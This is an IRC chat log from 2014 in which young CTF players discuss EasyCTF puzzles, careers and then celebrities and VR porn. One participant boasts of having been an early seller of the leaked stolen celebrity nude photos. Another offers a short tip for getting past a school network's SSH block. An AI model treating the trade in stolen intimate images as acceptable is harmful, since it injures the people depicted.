[2014-12-03T21:34:40-0500] <@awe> [19:40:47]  <+hardmath123>	From my experience, it's not that useful when writing substantial software.
[2014-12-03T21:34:42-0500] <@awe> hatopkek
[2014-12-03T21:34:46-0500] <@awe> topkek*
[2014-12-03T21:34:47-0500] <+Tamini> wow
[2014-12-03T21:34:47-0500] <+Tamini> wow
[2014-12-03T21:34:52-0500] <+Tamini> mzhang thinks he's me
[2014-12-03T21:34:56-0500] <+Tamini> I have a problem with this
[2014-12-03T21:35:03-0500] <+Tamini> go tell him hes not cute enough to be me
[2014-12-03T21:35:50-0500] <+LittleBobbyTables> Tamini
[2014-12-03T21:35:55-0500] <+LittleBobbyTables> I registered his sister's IRC name lol
[2014-12-03T21:36:57-0500] <+Tamini> lolol
[2014-12-03T21:36:58-0500] <+Tamini> also 
[2014-12-03T21:37:03-0500] <+Tamini> I'm secretly running easyctf 
[2014-12-03T21:37:08-0500] <+Tamini> im secretly michael zhang
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[2014-12-03T21:37:58-0500] <+LittleBobbyTables> Hi michael
[2014-12-03T21:38:18-0500] <failedxyz> hi cptnXn
[2014-12-03T21:38:29-0500] <@awe> Tamini: I knew it.
[2014-12-03T21:38:49-0500] <+Tamini> failedxyz: the jig is up
[2014-12-03T21:38:52-0500] <+Tamini> they know you're me now :(
[2014-12-03T21:38:59-0500] <failedxyz> ?
[2014-12-03T21:39:18-0500] <+Tamini> <Tamini> lolol
[2014-12-03T21:39:18-0500] <+Tamini> <Tamini> also 
[2014-12-03T21:39:18-0500] <+Tamini> <Tamini> I'm secretly running easyctf 
[2014-12-03T21:39:18-0500] <+Tamini> <Tamini> im secretly michael zhang
[2014-12-03T21:39:26-0500] <+LittleBobbyTables> Michael
[2014-12-03T21:39:30-0500] <+LittleBobbyTables> What do for reversing 2
[2014-12-03T21:39:33-0500] <+LittleBobbyTables> I don't have minecraft
[2014-12-03T21:39:35-0500] <failedxyz> eat it
[2014-12-03T21:39:52-0500] <failedxyz> plenty of people who don't have minecraft have solved it :)
[2014-12-03T21:40:02-0500] <+LittleBobbyTables> pls
[2014-12-03T21:40:12-0500] <failedxyz> `solved reversing 2
[2014-12-03T21:40:14-0500] <failedxyz> ohwait
[2014-12-03T21:40:16-0500] <+LittleBobbyTables> 25 people have solved it, and everyone I've spoken to have used minecraft
[2014-12-03T21:40:44-0500] <failedxyz> i solved it without
[2014-12-03T21:40:47-0500] <+Tamini> oh i think we forgot
[2014-12-03T21:40:48-0500] <failedxyz> so it's possible
[2014-12-03T21:40:49-0500] <+Tamini> easyctf was a thing
[2014-12-03T21:40:51-0500] <failedxyz> lol
[2014-12-03T21:40:54-0500] <+Tamini> brb doing a problem
[2014-12-03T21:41:06-0500] <+LittleBobbyTables> Did you use mcedit?
[2014-12-03T21:41:27-0500] <+Tamini> time to all the python chals
[2014-12-03T21:42:07-0500] <+LittleBobbyTables> All are EZ
[2014-12-03T21:42:11-0500] <+LittleBobbyTables> Some are badly worded though
[2014-12-03T21:42:46-0500] <+Tamini> the
[2014-12-03T21:42:52-0500] <+Tamini> prime one
[2014-12-03T21:42:58-0500] <+LittleBobbyTables> waow
[2014-12-03T21:43:00-0500] <+LittleBobbyTables> That's like
[2014-12-03T21:43:00-0500] <+Tamini> annoyed me because i misinterpreted in two different ways twice
[2014-12-03T21:43:02-0500] <+LittleBobbyTables> The second one I solved
[2014-12-03T21:43:03-0500] <+LittleBobbyTables> :/
[2014-12-03T21:43:10-0500] <+Tamini> wow ok lbt
[2014-12-03T21:43:15-0500] <+Tamini> also windows binaries
[2014-12-03T21:43:22-0500] <+LittleBobbyTables> I already had a sieve method made
[2014-12-03T21:43:22-0500] <+LittleBobbyTables> lol
[2014-12-03T21:43:26-0500] <+Tamini> yeah same
[2014-12-03T21:43:33-0500] <+Tamini> sieving isnt hard
[2014-12-03T21:43:43-0500] <+LittleBobbyTables> Neither was the other part :/
[2014-12-03T21:43:51-0500] <+LittleBobbyTables> To be fair
[2014-12-03T21:43:56-0500] <+Tamini> it wasnt but
[2014-12-03T21:43:56-0500] <+LittleBobbyTables> A lot of the python problems are badly worded
[2014-12-03T21:44:00-0500] <failedxyz> in my defense
[2014-12-03T21:44:01-0500] <+Tamini> yea
[2014-12-03T21:44:04-0500] <failedxyz> Eleng555 wrote all of them
[2014-12-03T21:44:06-0500] <failedxyz> except the first
[2014-12-03T21:44:07-0500] <+Tamini> also i figured out uh
[2014-12-03T21:44:08-0500] <failedxyz> i think
[2014-12-03T21:44:08-0500] <+Tamini> python4
[2014-12-03T21:44:11-0500] <+Tamini> and i was really pissed off
[2014-12-03T21:44:16-0500] <+Tamini> because i was severely misled
[2014-12-03T21:44:20-0500] <+Tamini> it was so easy too omg
[2014-12-03T21:44:30-0500] <+LittleBobbyTables> Right!?
[2014-12-03T21:44:33-0500] <Eleng555> lol apologies
[2014-12-03T21:44:36-0500] <+LittleBobbyTables> I was like "why the fuck isn't this working"
[2014-12-03T21:44:45-0500] <+LittleBobbyTables> Then she was like "uhh, cause it's not the type for the first part"
[2014-12-03T21:44:55-0500] <+Tamini> oops
[2014-12-03T21:44:56-0500] <+Tamini> :P
[2014-12-03T21:45:06-0500] <+Tamini> yeah
[2014-12-03T21:45:07-0500] <+Tamini> i was like
[2014-12-03T21:45:09-0500] <+Tamini> ...what if
[2014-12-03T21:45:10-0500] <+Tamini> and it worked
[2014-12-03T21:45:11-0500] <Eleng555> clearly I suck at english lol
[2014-12-03T21:45:19-0500] <+LittleBobbyTables> Change it to like
[2014-12-03T21:45:31-0500] <+LittleBobbyTables> args[0], the type of args[1]
[2014-12-03T21:45:39-0500] <+LittleBobbyTables> Or the value in args[0], args[1]'s type
[2014-12-03T21:45:54-0500] <Eleng555> lol shur
[2014-12-03T21:46:42-0500] <Eleng555> updated
[2014-12-03T21:46:42-0500] <+LittleBobbyTables> I think the rest are fairly straight forward though
[2014-12-03T21:48:01-0500] <+LittleBobbyTables> Eleng555: 
[2014-12-03T21:48:03-0500] <+LittleBobbyTables> you uhh
[2014-12-03T21:48:03-0500] <failedxyz> wait
[2014-12-03T21:48:06-0500] <+LittleBobbyTables> Put it in the wrong spot
[2014-12-03T21:48:06-0500] <Eleng555> refresh
[2014-12-03T21:48:07-0500] <failedxyz> don't update the problem
[2014-12-03T21:48:08-0500] <Eleng555> the page
[2014-12-03T21:48:12-0500] <failedxyz> clarify
[2014-12-03T21:48:13-0500] <failedxyz> :I
[2014-12-03T21:48:21-0500] <+LittleBobbyTables> That's what she's doing
[2014-12-03T21:48:23-0500] <+LittleBobbyTables> Clarifying in the problem
[2014-12-03T21:48:28-0500] <Eleng555> do you want me to post on the updates page also
[2014-12-03T21:48:36-0500] <+LittleBobbyTables> Oh, you fixed it again, cool
[2014-12-03T21:49:08-0500] <+LittleBobbyTables> I think people were confused on uhh
[2014-12-03T21:49:11-0500] <+LittleBobbyTables> 6 as well
[2014-12-03T21:49:19-0500] <+LittleBobbyTables> Even though that one is explained well
[2014-12-03T21:49:22-0500] <failedxyz> and on 8
[2014-12-03T21:49:30-0500] <failedxyz> wait
[2014-12-03T21:49:31-0500] <failedxyz> nvm
[2014-12-03T21:49:32-0500] <failedxyz> not 8
[2014-12-03T21:49:35-0500] <failedxyz> i can't remember the numbers
[2014-12-03T21:49:42-0500] <failedxyz> it was 4
[2014-12-03T21:49:44-0500] <failedxyz> nvm
[2014-12-03T21:50:02-0500] <+LittleBobbyTables> Yeah, 4 just got fixed
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[2014-12-03T21:57:37-0500] <@awe> One of his challenges uses Minecraft?
[2014-12-03T21:57:37-0500] <@awe> What?
[2014-12-03T21:57:53-0500] <+Tamini> one on 9447 did too
[2014-12-03T21:57:54-0500] <+Tamini> sorta
[2014-12-03T21:58:46-0500] <@awe> Oh?
[2014-12-03T21:58:58-0500] <+Tamini> yep
[2014-12-03T21:59:04-0500] <+Tamini> i think we ended up just mcediting tho
[2014-12-03T21:59:15-0500] <bob_twinkles> we didn't solve that one I don't think
[2014-12-03T21:59:15-0500] <+Tamini> also i think i just ran into a guy on irc like
[2014-12-03T21:59:23-0500] <+Tamini> 4 times in the span of a month 
[2014-12-03T21:59:32-0500] <+Tamini> and yeah, but we used mcedit to actually analyze stuff
[2014-12-03T22:00:23-0500] <alokpathy> Is there a way to bypass annoying school Wifi that blocks ssh?
[2014-12-03T22:00:35-0500] <+LittleBobbyTables> Can you even MCEdit on EasyCTF's?
[2014-12-03T22:00:41-0500] <+LittleBobbyTables> apothy, just vpn, ez
[2014-12-03T22:01:24-0500] <bob_twinkles> depends on how they're blocking it
[2014-12-03T22:01:41-0500] <bob_twinkles> if they're doing layer 3 filtering run your ssh server on 443
[2014-12-03T22:01:56-0500] <bob_twinkles> if they're doing any sort of DPI you're just screwed =P
[2014-12-03T22:02:09-0500] <alokpathy> Oh okay
[2014-12-03T22:08:15-0500] <+LittleBobbyTables> Eleng555: 
[2014-12-03T22:08:30-0500] <+LittleBobbyTables> You should totally say PurpIeCIouds. With two capital i's
[2014-12-03T22:08:32-0500] <Eleng555> hm?
[2014-12-03T22:08:37-0500] <Eleng555> lol
[2014-12-03T22:08:42-0500] <+LittleBobbyTables> Just to mess with everyone some more
[2014-12-03T22:13:31-0500] <@awe> bob_twinkles: they're probably not doing DPI.
[2014-12-03T22:13:46-0500] <bob_twinkles> no probably not
[2014-12-03T22:13:49-0500] <bob_twinkles> but I can dream
[2014-12-03T22:19:30-0500] <+LittleBobbyTables> Eleng555: you should totally say I'm the real one
[2014-12-03T22:19:30-0500] <+LittleBobbyTables> :(
[2014-12-03T22:19:39-0500] <Eleng555> lol
[2014-12-03T22:28:35-0500] <@awe> Hey, guys.
[2014-12-03T22:28:36-0500] <@awe> http://www.theguardian.com/us-news/video/2014/nov/26/cleveland-video-tamir-rice-shooting-police
[2014-12-03T22:36:43-0500] <+LittleBobbyTables> awe
[2014-12-03T22:36:56-0500] <+LittleBobbyTables> Is there a site that I can upload something, and keep the URL the exact same?
[2014-12-03T22:37:08-0500] <@awe> What do you mean?
[2014-12-03T22:37:15-0500] <+LittleBobbyTables> like
[2014-12-03T22:37:24-0500] <@awe> Like update a file and have it be the same link?
[2014-12-03T22:37:25-0500] <@awe> Dropbox.
[2014-12-03T22:37:37-0500] <+LittleBobbyTables> Will the direct link be the same?
[2014-12-03T22:37:40-0500] <@awe> Yes.
[2014-12-03T22:37:42-0500] <+LittleBobbyTables> for like an ircbot
[2014-12-03T22:37:45-0500] <+LittleBobbyTables> update remotely
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[2014-12-03T23:15:26-0500] <@awe> Guys, guys.
[2014-12-03T23:15:29-0500] <@awe> EasyCTF has reversing, right?
[2014-12-03T23:16:07-0500] <alokpathy> Yes
[2014-12-03T23:18:58-0500] <+Tamini> its like
[2014-12-03T23:19:00-0500] <+Tamini> windows binaries tho
[2014-12-03T23:22:04-0500] <@awe> That's fine.
[2014-12-03T23:28:25-0500] <alokpathy> Tamini: They're also available on the shell in ELF.
[2014-12-03T23:29:09-0500] <+Tamini> bob_twinkles:
[2014-12-03T23:29:50-0500] <bob_twinkles> hi
[2014-12-03T23:29:52-0500] <bob_twinkles> ?
[2014-12-03T23:29:55-0500] <bob_twinkles> oh
[2014-12-03T23:30:05-0500] <+LittleBobbyTables> apothy, The Door is windows only.
[2014-12-03T23:30:15-0500] <alokpathy> Except for that one, yeah.
[2014-12-03T23:30:16-0500] <bob_twinkles> all the easyctf binary challenges are bad
[2014-12-03T23:30:18-0500] <bob_twinkles> because windows
[2014-12-03T23:31:28-0500] <+LittleBobbyTables> Only one of them is Windows :/
[2014-12-03T23:31:47-0500] <bob_twinkles> ... all the sources are windows based
[2014-12-03T23:32:01-0500] <bob_twinkles> and/or depend on a specific implementation of rand()
[2014-12-03T23:32:29-0500] <+LittleBobbyTables> Like what?
[2014-12-03T23:32:30-0500] <@awe> Seriously?
[2014-12-03T23:32:31-0500] <@awe> That's terrible.
[2014-12-03T23:32:50-0500] <+LittleBobbyTables> All of them have been solved from my Xubuntu VM, except for The Door.
[2014-12-03T23:33:36-0500] <bob_twinkles> clearly you care more than I do =P
[2014-12-03T23:37:06-0500] <nezorg> so, rust's type system can evaluate brainfuck http://pastie.org/9757227
[2014-12-03T23:37:31-0500] <+Tamini> you what now
[2014-12-03T23:37:34-0500] <+LittleBobbyTables> Ugh
[2014-12-03T23:37:36-0500] <+LittleBobbyTables> All my friends
[2014-12-03T23:37:39-0500] <+LittleBobbyTables> That do "programming"
[2014-12-03T23:37:40-0500] <+Tamini> also hey nezorg want a short cute little distraction
[2014-12-03T23:37:47-0500] <+LittleBobbyTables> (which is like 10 minutes a week for fun)
[2014-12-03T23:37:47-0500] <nezorg> how cute
[2014-12-03T23:37:50-0500] <+LittleBobbyTables> Want to be a programming
[2014-12-03T23:37:54-0500] <+Tamini> like
[2014-12-03T23:37:57-0500] <+LittleBobbyTables> And refuse to do any other field
[2014-12-03T23:38:05-0500] <+Tamini> christmas celebratory easy little ctf type thing
[2014-12-03T23:38:11-0500] <nezorg> LittleBobbyTables: want to be a programming?
[2014-12-03T23:38:15-0500] <+LittleBobbyTables> Yes. A programming.
[2014-12-03T23:38:24-0500] <nezorg> Tamini: uhhhhh I kinda have a lot to do for tomorrow :/
[2014-12-03T23:38:31-0500] <+LittleBobbyTables> That's how much I dislike programmers, I don't even care to give them proper grammar.
[2014-12-03T23:38:34-0500] <+Tamini> turn them into bytecode and send them on their merry way
[2014-12-03T23:38:39-0500] <+Tamini> nezorg: aww, okay
[2014-12-03T23:38:42-0500] <+Tamini> wait, then wtf are you doing on irc
[2014-12-03T23:38:51-0500] <nezorg> short break time
[2014-12-03T23:38:59-0500] <nezorg> I saw the bf impl and had to tell you guys
[2014-12-03T23:39:02-0500] <+Tamini> #study? :P
[2014-12-03T23:39:04-0500] <+Tamini> and lolol
[2014-12-03T23:39:11-0500] <nezorg> awe: http://pastie.org/9757227
[2014-12-03T23:39:23-0500] <+Tamini> i'm glad to see that we (read awe) mean so much to you
[2014-12-03T23:39:29-0500] <nezorg> <3
[2014-12-03T23:39:33-0500] <+LittleBobbyTables> Here's one of their things
[2014-12-03T23:39:50-0500] <+LittleBobbyTables> "I don't want to go into Cyber Security even though it's the better field because I've never done it, it's not for me"
[2014-12-03T23:40:00-0500] <+LittleBobbyTables> >do literally everything
[2014-12-03T23:40:04-0500] <+LittleBobbyTables> >doesn't have "what you want"
[2014-12-03T23:40:06-0500] <+LittleBobbyTables> all of my what
[2014-12-03T23:40:22-0500] <nezorg> s/what/wat/
[2014-12-03T23:40:38-0500] <+Tamini> heh
[2014-12-03T23:40:51-0500] <+Tamini> yo nezorg: tell me when you go back to work
[2014-12-03T23:40:59-0500] <+Tamini> I need some pressure to finish reading these 4 chapters for my test tomorrow
[2014-12-03T23:41:10-0500] <nezorg> Tamini: I am now working
[2014-12-03T23:41:22-0500] <+Tamini> oki
[2014-12-03T23:41:28-0500] <nezorg> I was just at hack meeting for two hours
[2014-12-03T23:41:34-0500] <nezorg> so that time was used up
[2014-12-03T23:41:41-0500] <+Tamini> whoa
[2014-12-03T23:41:43-0500] <+Tamini> hack meeting?
[2014-12-03T23:41:43-0500] <+Tamini> :P
[2014-12-03T23:41:53-0500] <bob_twinkles> http://pastebin.com/RsJVcRqh
[2014-12-03T23:42:03-0500] <bob_twinkles> all the figlet gonts
[2014-12-03T23:42:04-0500] <bob_twinkles> *fonts
[2014-12-03T23:42:08-0500] <bob_twinkles> this is my procrastination method
[2014-12-03T23:42:53-0500] <@awe> nezorg: uhh, why are church numerals not implemented as an enum?
[2014-12-03T23:43:25-0500] <nezorg> awe: the point is that it's all in the type system
[2014-12-03T23:43:35-0500] <nezorg> the type system is evaluating brainfuck
[2014-12-03T23:43:48-0500] <+LittleBobbyTables> [8:43:33 PM] ben.mch97: Just because you have certs does not mean you can teach a college level class
[2014-12-03T23:43:48-0500] <+LittleBobbyTables> [8:43:33 PM] ben.mch97: Just because you have certs does not mean you can teach a college level class
[2014-12-03T23:43:49-0500] <+LittleBobbyTables> v
[2014-12-03T23:43:50-0500] • LittleBobbyTables: [8:43:33 PM] ben.mch97: Just because you have certs does not mean you can teach a college level class
[2014-12-03T23:43:50-0500] <+LittleBobbyTables> [8:43:33 PM] ben.mch97: Just because you have certs does not mean you can teach a college level class
[2014-12-03T23:43:55-0500] <+LittleBobbyTables> This guy
[2014-12-03T23:43:59-0500] <@awe> nezorg: Ah.
[2014-12-03T23:44:01-0500] <@awe> nezorg: Neat.
[2014-12-03T23:44:06-0500] <nezorg> and scary
[2014-12-03T23:44:19-0500] <bob_twinkles> yay turning complete type systems =P
[2014-12-03T23:44:22-0500] <+LittleBobbyTables> >wants to get a PhD in Computer Science (no teaching degree at all)
[2014-12-03T23:44:29-0500] <+LittleBobbyTables> >thinks he'll learn more in a PhD than certs
[2014-12-03T23:44:31-0500] <nezorg> bob_twinkles: turning complete XD
[2014-12-03T23:44:41-0500] <+LittleBobbyTables> >thinks PhD means more than certs (all of them) to everyone
[2014-12-03T23:44:44-0500] <bob_twinkles> how typing
[2014-12-03T23:44:51-0500] <@awe> LittleBobbyTables: PhDs mean you can teach college classes.
[2014-12-03T23:44:54-0500] <@awe> LittleBobbyTables: that's kind of the point.
[2014-12-03T23:45:06-0500] <nezorg> well, and you learn a lot in a specific field
[2014-12-03T23:45:12-0500] <nezorg> and hopefully tell others about it
[2014-12-03T23:45:16-0500] <@awe> >hopefully
[2014-12-03T23:45:17-0500] <@awe> you have to.
[2014-12-03T23:45:19-0500] <bob_twinkles> getting a doctorate is generally pretty hard
[2014-12-03T23:45:21-0500] <+LittleBobbyTables> He's arguing that everyone doesn't care about certs.
[2014-12-03T23:45:23-0500] <@awe> In order to get a PhD, you have to tell epople about it.
[2014-12-03T23:45:26-0500] <+LittleBobbyTables> They care about a PhD more.
[2014-12-03T23:45:26-0500] <nezorg> true
[2014-12-03T23:45:30-0500] <@awe> LittleBobbyTables: depends where.
[2014-12-03T23:45:35-0500] <+LittleBobbyTables> "everyone"
[2014-12-03T23:45:37-0500] <+LittleBobbyTables> keyword.
[2014-12-03T23:45:43-0500] <nezorg> LittleBobbyTables: ...does anyone care about certs outside of IT?
[2014-12-03T23:45:43-0500] <@awe> LittleBobbyTables: I want to work at Mozilla Research or Microsoft Research or something. I need a PhD. :p
[2014-12-03T23:45:47-0500] <@awe> nezorg: no.
[2014-12-03T23:45:53-0500] <+LittleBobbyTables> That's how the topic started.
[2014-12-03T23:45:57-0500] <+LittleBobbyTables> Was about Cyber Security
[2014-12-03T23:46:05-0500] <+LittleBobbyTables> When I was telling a friend what he should do
[2014-12-03T23:46:10-0500] <+LittleBobbyTables> Then this guy was like "no that's dumb"
[2014-12-03T23:46:37-0500] <nezorg> depends on what you mean by "cyber security"
[2014-12-03T23:46:42-0500] <+LittleBobbyTables> The field itself.
[2014-12-03T23:47:09-0500] <bob_twinkles> there are phd level positions in computer security
[2014-12-03T23:47:15-0500] <bob_twinkles> mostly related to online AV stuff
[2014-12-03T23:47:18-0500] <+LittleBobbyTables> There are, yes.
[2014-12-03T23:47:38-0500] <bob_twinkles> (online as in live, not just as in the interwebs)
[2014-12-03T23:47:40-0500] <nezorg> there's tons of phd-level research security positions
[2014-12-03T23:47:41-0500] <+LittleBobbyTables> But the point is that certs in it will get you a LOT farther than a PhD will (not the low level certs)
[2014-12-03T23:47:50-0500] <nezorg> LittleBobbyTables: uhhhhhhh
[2014-12-03T23:47:50-0500] <@awe> Guys
[2014-12-03T23:47:55-0500] <@awe> In the python basics 2 questions
[2014-12-03T23:47:57-0500] <@awe> question*
[2014-12-03T23:48:08-0500] <@awe> do you have to do something special to get args[0]?
[2014-12-03T23:48:12-0500] <@awe> or is the answer just liek
[2014-12-03T23:48:21-0500] <@awe> if args[0] >= 0 or args[0] < 100: blah
[2014-12-03T23:48:24-0500] <@awe> ??
[2014-12-03T23:48:32-0500] <+LittleBobbyTables> args is given
[2014-12-03T23:48:35-0500] <+LittleBobbyTables> In every problem
[2014-12-03T23:48:38-0500] <alokpathy> The latter I think.
[2014-12-03T23:49:03-0500] <@awe> http://puu.sh/dgkk3/8dc8b0ec08.png
[2014-12-03T23:49:13-0500] <@awe> http://puu.sh/dgkjN/01edf88de3.png
[2014-12-03T23:49:51-0500] <@awe> alokpathy: literally what?
[2014-12-03T23:50:01-0500] <alokpathy> lolwut
[2014-12-03T23:50:27-0500] <@awe> alokpathy: that's correct, right?
[2014-12-03T23:51:11-0500] <alokpathy> It might be elif 'cause some of these problems are worded weird, but other than that I think so?
[2014-12-03T23:51:37-0500] <@awe> ?
[2014-12-03T23:51:37-0500] <@awe> wat
[2014-12-03T23:55:35-0500] <+LittleBobbyTables> Why not just do ternary
[2014-12-03T23:55:38-0500] <+LittleBobbyTables> ez
[2014-12-03T23:56:08-0500] <alokpathy> awe: Wait I just tried what you did and it worked
[2014-12-03T23:56:24-0500] <alokpathy> Did you put the problem as Python Basics 2?
[2014-12-03T23:56:42-0500] <+LittleBobbyTables> http://gyazo.com/afa0eeac78034ad5b29875eb373f3ed9
[2014-12-03T23:56:44-0500] <@awe> I'm not doing it.
[2014-12-03T23:57:04-0500] <alokpathy> awe: lol okay
[2014-12-03T23:57:11-0500] <@awe> It's someone else.
[2014-12-03T23:57:18-0500] <alokpathy> awe: Who?
[2014-12-03T23:57:22-0500] <@awe> Nobody you know.
[2014-12-03T23:57:28-0500] <+LittleBobbyTables> Prove it
[2014-12-03T23:58:47-0500] <@awe> alokpathy: he's getting the error still.
[2014-12-03T23:59:54-0500] <@awe> Restarting his browser fixed it.
[2014-12-04T00:01:27-0500] <alokpathy> Wow okay lol
[2014-12-04T00:56:14-0500] <nezorg> [nsfw] yaaaaaay rift http://labo.playgirls.tokyo/?p=73
[2014-12-04T01:03:55-0500] <@awe> nezorg: lol
[2014-12-04T01:04:09-0500] <@awe> nezorg: the oculus rift, finally being put to good use.
[2014-12-04T01:04:31-0500] <+Tamini> lol
[2014-12-04T01:04:33-0500] <+Tamini> of course, awe.
[2014-12-04T01:04:46-0500] <+Tamini> awe i feel like you should be having the conversation you're having with me right now here instead
[2014-12-04T01:04:55-0500] <@awe> Okay.
[2014-12-04T01:04:56-0500] <+Tamini> so other people can comment on your taste in celebrities
[2014-12-04T01:04:58-0500] <@awe> I'll catch everyone up.
[2014-12-04T01:05:07-0500] <@awe>  https://dl.dropboxusercontent.com/u/8097711/Taylor3.jpg
[2014-12-04T01:05:20-0500] <@awe> [00:51:00]  <awe>	https://dl.dropboxusercontent.com/u/8097711/Taylor2.png
[2014-12-04T01:05:20-0500] <@awe> [00:51:22]  <awe>	Also, this picture. I literally can't even: https://dl.dropboxusercontent.com/u/8097711/Zooey2.jpg
[2014-12-04T01:05:28-0500] <@awe> [00:57:21]  <awe>	https://dl.dropboxusercontent.com/u/8097711/Ariana.jpg
[2014-12-04T01:05:28-0500] <@awe> [00:58:26]  <awe>	https://dl.dropboxusercontent.com/u/8097711/Emma.jpg
[2014-12-04T01:05:36-0500] <@awe> [01:01:58]  <awe>	https://dl.dropboxusercontent.com/u/8097711/Christina.jpg
[2014-12-04T01:05:38-0500] <@awe> Enjoy, everyone.
[2014-12-04T01:05:47-0500] <+Tamini> but honestly
[2014-12-04T01:05:49-0500] <+Tamini> above all
[2014-12-04T01:05:50-0500] <+Tamini> i think its the hair
[2014-12-04T01:06:01-0500] <@awe> Ginger chicks, man.
[2014-12-04T01:06:09-0500] <@awe> I don't know how I've not dated a ginger chick.
[2014-12-04T01:06:09-0500] <+jwoglom> nezorg: lol, of course it's being used for porn
[2014-12-04T01:06:40-0500] <@awe> jwoglom: does it count as porn if it's interactive?
[2014-12-04T01:06:42-0500] <+Tamini> also awe: how are those not fake.
[2014-12-04T01:06:48-0500] <+Tamini> how does that happen
[2014-12-04T01:06:49-0500] <@awe> Christina Hendrick's boobs?
[2014-12-04T01:06:53-0500] <@awe> I don't know, man, but they're glorious.
[2014-12-04T01:07:17-0500] <+Tamini> jesus christ
[2014-12-04T01:07:22-0500] <+Tamini> they seem disproportionate though
[2014-12-04T01:07:48-0500] <+jwoglom> awe: that raises some interesting questions
[2014-12-04T01:08:28-0500] <@awe> Like, is it porn or a sex toy if I integrate the oculus rift with a fleshlight?
[2014-12-04T01:08:31-0500] <+jwoglom> the difference b/w porn and virtual sex would probably lie between whether or not it's a video or whether it's interactive
[2014-12-04T01:09:02-0500] <+LittleBobbyTables> Taylor has a weird face imo
[2014-12-04T01:09:09-0500] <+Tamini> LittleBobbyTables: I like her face :/
[2014-12-04T01:09:29-0500] <+LittleBobbyTables> She wears way too much makeup
[2014-12-04T01:09:32-0500] <+jwoglom> it looks odd from that angle
[2014-12-04T01:09:40-0500] <+Tamini> eh
[2014-12-04T01:09:46-0500] <+Tamini> She can pull off really bold colors
[2014-12-04T01:09:50-0500] <@awe> Taylor's face and legs are what does it for me.
[2014-12-04T01:09:53-0500] <+Tamini> which is actually difficult
[2014-12-04T01:09:54-0500] <@awe> Especially those legs.
[2014-12-04T01:09:56-0500] <+LittleBobbyTables> If she were to tone it down a bunch, it'd be amazing.
[2014-12-04T01:09:56-0500] <@awe> My god.
[2014-12-04T01:09:58-0500] <@awe> THey're insane.
[2014-12-04T01:10:09-0500] <nezorg> what have I started
[2014-12-04T01:10:11-0500] <+Tamini> awe: oh my god yes
[2014-12-04T01:10:14-0500] <+LittleBobbyTables> I still love Felicia Day though.
[2014-12-04T01:10:15-0500] <+LittleBobbyTables> omg
[2014-12-04T01:10:15-0500] <+Tamini> nezorg: actually, this was all awe :P
[2014-12-04T01:10:18-0500] <@awe> LittleBobbyTables: YES.
[2014-12-04T01:10:23-0500] <@awe> nezorg: I was already talking to her about this.
[2014-12-04T01:10:24-0500] <+Tamini> WAIT LBT
[2014-12-04T01:10:25-0500] <nezorg> Tamini: well I brought it here
[2014-12-04T01:10:26-0500] <+Tamini> you agree with me
[2014-12-04T01:10:26-0500] <+LittleBobbyTables> Like
[2014-12-04T01:10:36-0500] <+Tamini> red hair totally does it for you too, right?
[2014-12-04T01:10:41-0500] <+LittleBobbyTables> Out of all the celebrities that didn't happen in the fappening and are still there
[2014-12-04T01:10:46-0500] <+LittleBobbyTables> I want Felicia Day.
[2014-12-04T01:10:47-0500] <@awe> Ginger girls are my life.
[2014-12-04T01:10:48-0500] <+LittleBobbyTables> Fuck everyone else
[2014-12-04T01:11:00-0500] <+LittleBobbyTables> Not red hair in general, Tamini.
[2014-12-04T01:11:10-0500] <+LittleBobbyTables> But her and her innocence, 'tis amazing
[2014-12-04T01:11:10-0500] <+Tamini> awe and I dig it
[2014-12-04T01:11:15-0500] <@awe> There are so few ginger girls that I don't find gorgeous.
[2014-12-04T01:11:43-0500] <+Tamini> nezorg: you started it, and you aren't joining in? 
[2014-12-04T01:12:18-0500] <+LittleBobbyTables> But awe
[2014-12-04T01:12:21-0500] <+LittleBobbyTables> I sat there with all the sets
[2014-12-04T01:12:22-0500] <+LittleBobbyTables> like
[2014-12-04T01:12:26-0500] <+LittleBobbyTables> 2 weeks before they came out
[2014-12-04T01:12:39-0500] <+LittleBobbyTables> Spencer's vids, Justice's pics were really the only decent ones.
[2014-12-04T01:12:52-0500] <@awe> Wait.
[2014-12-04T01:12:53-0500] <@awe> What?
[2014-12-04T01:12:54-0500] <+LittleBobbyTables> I couldn't find Felicia Day anywhere. I'm 99% sure she just doesn't exist :(
[2014-12-04T01:12:57-0500] <@awe> You had all of them before they came out?
[2014-12-04T01:13:10-0500] <+LittleBobbyTables> I was one of the original sellers lol
[2014-12-04T01:13:17-0500] <@awe> Oh. I didn't realize that.
[2014-12-04T01:13:18-0500] <@awe> Jeez.
[2014-12-04T01:13:21-0500] <+Tamini> of course, lbt
[2014-12-04T01:13:30-0500] <@awe> I thought you were making a joke.
[2014-12-04T01:13:32-0500] <nezorg> Tamini: afraid so
[2014-12-04T01:13:35-0500] <+LittleBobbyTables> Where do you think I got like 4 bitcoins lmao
[2014-12-04T01:13:41-0500] <@awe> How'd you get them?
[2014-12-04T01:13:43-0500] <+Tamini> nezorg: still working? :P
[2014-12-04T01:13:46-0500] <+LittleBobbyTables> The pics?
[2014-12-04T01:13:49-0500] <nezorg> Tamini: sort of
[2014-12-04T01:13:49-0500] <@awe> Yeah.
[2014-12-04T01:14:08-0500] <+LittleBobbyTables> Some dude was like "yo, enjoy" and gave me like two sets, and I just traded the rest.
[2014-12-04T01:14:25-0500] <nezorg> Tamini: distracted by /r/oculusnsfw
[2014-12-04T01:14:35-0500] <+Tamini> oh my god
[2014-12-04T01:14:37-0500] <+Tamini> wait thats a subreddit
[2014-12-04T01:14:40-0500] <+LittleBobbyTables> Yeah
[2014-12-04T01:14:42-0500] <+Tamini> brb distracting self
[2014-12-04T01:14:44-0500] <+LittleBobbyTables> It's been around for awhile
[2014-12-04T01:14:51-0500] <+Tamini> see 
[2014-12-04T01:14:55-0500] <+Tamini> my favorite senior has one
[2014-12-04T01:15:04-0500] <+Tamini> and i feel like if i showed him this he'd be totally into it
[2014-12-04T01:15:10-0500] <+LittleBobbyTables> Well befriend him so you can watch NSFW stuff with it
[2014-12-04T01:15:17-0500] <@awe> NSFW: http://vrtitties.com/forum/index.php?topic=111.0
[2014-12-04T01:15:18-0500] <+LittleBobbyTables> Then give us a first hand experience on if it's worth
[2014-12-04T01:15:19-0500] <@awe> lol'd
[2014-12-04T01:15:20-0500] <+Tamini> (also he said something about letting me borrow it for penapps, but that's still ongoing)
[2014-12-04T01:15:30-0500] <+Tamini> also if we get accepted to penapps i just realized
[2014-12-04T01:15:37-0500] <+Tamini> my entire team lives like not here ._.
[2014-12-04T01:15:46-0500] <nezorg> this room better not turn into us sharing vr porn
[2014-12-04T01:15:53-0500] <+Tamini> what's wrong with that?
[2014-12-04T01:16:01-0500] <nezorg> you have a point
